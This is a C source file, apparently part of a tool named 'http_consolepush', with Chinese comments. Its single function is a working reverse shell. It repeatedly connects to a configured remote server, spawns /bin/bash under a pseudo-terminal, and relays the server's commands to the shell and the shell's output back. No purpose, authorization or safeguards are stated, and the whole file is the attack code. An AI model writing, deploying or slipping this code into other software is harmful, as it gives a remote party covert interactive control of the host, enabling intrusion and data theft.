#include "http_consolepush.h"
#include "common.h"
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/select.h>
#include <pty.h> // for openpty
#include <termios.h>
#include <sys/types.h>
#include <signal.h>

void connect_and_run_shell() {
    int sock = 0;
    struct sockaddr_in serv_addr;

    // --- 连接到服务器 ---
    while (1) {
        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
            perror("Socket creation error");
            sleep(5);
            continue;
        }
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(SERVER_PORT);
        if (inet_pton(AF_INET, SERVER_IP, &serv_addr.sin_addr) <= 0) {
            perror("Invalid address");
            close(sock);
            sleep(5);
            continue;
        }
        if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
            fprintf(stderr, "Connection Failed: %s. Retrying in 5s...\n", strerror(errno));
            close(sock);
            sleep(5);
            continue;
        }
        fprintf(stderr, "Connected to server %s:%d\n", SERVER_IP, SERVER_PORT);
        break; // 连接成功，跳出循环
    }

    // --- 创建伪终端 (pty) 并启动 Shell ---
    int master_fd;
    pid_t pid = forkpty(&master_fd, NULL, NULL, NULL);

    if (pid < 0) {
        perror("forkpty");
        close(sock);
        return;
    } 
    else if (pid == 0) { // 子进程
        // 用 /bin/bash 替换当前子进程
        //execlp("/bin/bash", "bash", NULL);
        // 在 execlp 之前，设置环境变量
        setenv("TERM", "dumb", 1); 
        // 然后执行
        execlp("/bin/bash", "bash", NULL);
        // 如果 exec 返回，说明出错了
        perror("execlp");
        exit(1);
    }

    // --- 父进程：数据中继 ---
    fd_set read_fds;
    while (1) {
        FD_ZERO(&read_fds);
        FD_SET(sock, &read_fds);         // 监听来自服务器的命令
        FD_SET(master_fd, &read_fds);    // 监听来自 Shell 的输出

        int max_fd = (sock > master_fd) ? sock : master_fd;

        if (select(max_fd + 1, &read_fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }

        char buffer[BUFFER_SIZE];
        ssize_t bytes_read;

        // 检查是否有来自服务器的数据
        if (FD_ISSET(sock, &read_fds)) {
            bytes_read = read(sock, buffer, sizeof(buffer));
            if (bytes_read <= 0) {
                fprintf(stderr, "Server disconnected.\n");
                break; // 服务器断开
            }
            // 将命令写入 Shell
            write(master_fd, buffer, bytes_read);
        }

        // 检查是否有来自 Shell 的输出
        if (FD_ISSET(master_fd, &read_fds)) {
            bytes_read = read(master_fd, buffer, sizeof(buffer));
            if (bytes_read <= 0) {
                fprintf(stderr, "Shell process terminated.\n");
                break; // Shell 进程结束
            }
            // 将 Shell 输出发送到服务器
            if (send(sock, buffer, bytes_read, 0) < 0) {
                fprintf(stderr, "Failed to send data to server.\n");
                break;
            }
        }
    }

    // --- 清理 ---
    close(sock);
    close(master_fd);
    kill(pid, SIGKILL); // 确保子进程被杀死
}
